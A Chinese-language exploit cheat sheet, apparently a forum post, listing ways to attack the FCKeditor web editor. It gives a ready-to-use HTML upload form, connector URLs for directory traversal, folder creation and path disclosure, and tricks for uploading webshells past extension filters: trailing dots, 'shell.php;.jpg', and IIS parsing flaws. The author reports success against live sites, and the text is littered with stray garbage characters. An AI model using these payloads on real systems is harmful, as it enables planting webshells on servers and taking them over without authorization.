Fckeditor漏洞利用总结
4 D4 \" O$ J0 j2 t( s$ H查看编辑器版本# V% E6 ^+ S( R! o
FCKeditor/_whatsnew.html
\! z7 \2 D2 w8 A—————————————————————————————————————————————————————————————8 n4 X8 j. d3 b4 Q9 N
/ s/ @+ N2 ^8 |) h( r6 R. U9 ~8 ]3 Z
2. Version 2.2 版本/ p1 x! h" c9 `
Apache+linux 环境下在上传文件后面加个.突破!测试通过。7 |) W9 w8 H% T
—————————————————————————————————————————————————————————————
! }' m" \9 I8 w% J* a3 K) C
1 K0 y* ^( S) F/ U3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
3 c' Z% Z( }# x& [2 y; A# l<form id="frmUpload" enctype="multipart/form-data"" z. R6 P7 F: K( L* Y
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> D7 E( W# U0 k6 Z. m* _; F: W4 D
<input type="file" name="NewFile" size="50"><br>7 _& _& _+ @2 t8 e. g' T
<input id="btnUpload" type="submit" value="Upload">3 {* i& l/ [* d0 w }
</form>/ x. | z5 d! k4 H
—————————————————————————————————————————————————————————————8 J2 Y1 L- H5 |1 O
9 c( F' x0 D* J4 h4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
0 t' j8 ?4 E' Y+ Q" m; O 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。+ U0 b7 J7 C9 w, B" t
4.1:提交shell.php+空格绕过
7 e& _- ?' }. @" |不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。( V8 L2 ]2 g7 c: G. f* O
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
. m1 L8 R6 d8 X9 U3 Q—————————————————————————————————————————————————————————————6 N; d- {% D, _/ u6 @; U
* Z5 j: T s1 r7 j# P3 g+ j; I5. 突破建立文件夹
! \1 T; c$ P( J# {) YFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
5 ?2 Z3 E5 _% [( IFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp+ z' Q1 I0 r! x1 u1 r+ U
—————————————————————————————————————————————————————————————
- {# U' l: z, Q- d B3 X
1 r5 m5 b- \. [% o. T3 g6. FCKeditor 中test 文件的上传地址
5 \% D: q9 h z( m. @FCKeditor/editor/filemanager/browser/default/connectors/test.html
+ q6 j& [5 P: O- z' N* s; hFCKeditor/editor/filemanager/upload/test.html
* d! W" F" K# L6 U( D/ T$ k+ ?FCKeditor/editor/filemanager/connectors/test.html. F; d& ]4 M( k0 c" t
FCKeditor/editor/filemanager/connectors/uploadtest.html+ r. {- v g) {! w' O
—————————————————————————————————————————————————————————————
; x) ]$ F& Q3 L" X1 G S
" n# n" j5 V- p7.常用上传地址
2 Q0 `+ i1 D# g9 _5 s: `* U) ^FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/- C5 T' P1 D6 \, N1 w4 T. I0 g
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
/ B I. ~1 e* i( Y- h ~& v ZFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
! J- x8 [5 V4 n: ]. X3 XJSP 版:
6 n% X" z5 w6 `6 U1 dFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp/ l; \0 T' c: v: \9 Z' y. F# J
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文' ~( X! k% \- M/ A: ]
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。/ Z, u* E( I3 A0 }* Q
—————————————————————————————————————————————————————————————
. d0 n9 V3 w& ]& h# l; |/ d2 |2 D& C, j9 w0 a
8.其他上传地址. O5 Q9 i) m8 M! z
FCKeditor/_samples/default.html7 @( ?5 M# O% v6 o5 x3 e1 H# R# F
FCKeditor/_samples/asp/sample01.asp8 T6 F4 Z6 W* k( B
FCKeditor/_samples/asp/sample02.asp
6 L; p, k ^9 Z5 j# j$ {! rFCKeditor/_samples/asp/sample03.asp5 U9 D1 F$ r+ g1 G3 J: q( Y( f
FCKeditor/_samples/asp/sample04.asp
% c+ [; g$ m* \# T一般很多站点都已删除_samples 目录,可以试试。
$ V. N6 |, ?1 e* e) S9 rFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。: B( `3 R& w6 ?4 u1 M
—————————————————————————————————————————————————————————————
! h/ b9 |& H! B# m. V3 {
. s$ W7 B6 z1 {9.列目录漏洞也可助找上传地址
. `( k$ a% K, H. \Version 2.4.1 测试通过3 ~9 w& r2 Q# J; ?# W x
修改CurrentFolder 参数使用 ../../来进入不同的目录5 X" a% Y5 D: Z) i+ i6 X
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp8 }0 B. @5 ~/ w4 O( O
根据返回的XML 信息可以查看网站所有的目录。" _4 }% i U% l3 q1 u4 w( k
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
0 S" j/ H$ P4 T% x' ^. V也可以直接浏览盘符:
1 O* N6 h0 b' f5 E. X+ [JSP 版本:0 |% L0 i2 @* k5 ]8 m5 D$ i
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F- s- b( L3 i. L. o, a
—————————————————————————————————————————————————————————————: z) [, ?+ B; o. G$ C
& Z" z3 N" T4 b V& t9 b, w! H: t8 a10.爆路径漏洞
0 k; K4 u+ l2 M8 p, C0 T) HFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp: K9 c% `/ d+ }5 R1 a9 I
—————————————————————————————————————————————————————————————
5 y6 h' s) c: y c9 `& e3 a3 |- h- x" O! }7 x; n' V3 G
11. FCKeditor 被动限制策略所导致的过滤不严问题
& \7 [. _' ]0 z6 } 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
B& [' `& d; ~7 Y$ s脆弱描述:
6 A. R# {( F: f8 C* C: W+ LFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
% Z; H/ ~ e" H( \; Phtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm% Z. }8 K1 D, R7 b9 ? c
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!1 V* M- p. m& M7 }0 ]2 W
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。$ y6 q- [- K. W! }7 k
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!( i, ]% _: J- {% O# ?
—————————————————————————————————————————————————————————————, X2 h$ e' s8 j, h$ r
/ Q. v; u' T2 S6 ^/ g* s12.最古老的漏洞,Type文件没有限制!$ n" l0 H8 V' P6 X" V2 q% q% c
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 4 R2 \: I9 Q" `' |3 r3 k/ ?( X1 C
—————————————————————————————————————————————————————————————
0 Z5 W+ z/ D. d6 }
9 C! A3 n/ f% T===============================================================================================================================================
: D2 I2 O" R$ v, _9 |1 w. j3 `
" f5 j4 L; \9 z0 fFCK编辑器jsp版本漏洞:' U9 v* \/ q4 o, M# G/ u8 z" w
' |# ?2 M( A! o f. G. I
! c' O" s& W$ \& [" V! w G1 l
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
7 g, z [3 L, ^2 w& S/ j, l0 }1 F; ]' h9 m: {, @% a
上传马所在目录) V! f/ S* T3 w) o
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
( h! x1 j1 Q/ S% e2 M1 p h2 W上传shell的地址:( ~- P, K6 G8 Q1 |! d: A: ^
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
: Y, _ ?: l0 j# m) b. C跟版本有关系.并不是百分百成功. 测试成功几个站.
' z3 Q- w3 o* M7 G- c& b% C) B不能通杀.很遗憾. N! d/ D" Y" e7 {4 \4 I1 b
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
: c K" ~$ n; N- Y- D# h# C, Y如果以上地址不行可以试试2 w x# y. t/ J. g' C' b
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector5 J5 _4 ~0 [! w/ ]% O$ s+ W4 |# `
FCKeditor/_samples/8 y% O# Q- j. C: j( R; Z: ~
FCKeditor/_samples/default.html
& E& n& G$ \/ Z. h7 Y* }FCKeditor/editor/fckeditor.htm$ o$ k6 d0 R6 Y8 G+ S7 R; S0 F
FCKeditor/editor/fckdialog.html g7 d) s8 A) H: M1 O& d" o
% {- T" u- `9 X
" J) Y" s _( L4 c( Y3 F, Z$ M) i/ Q
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
1 h' t/ d, |& T$ i |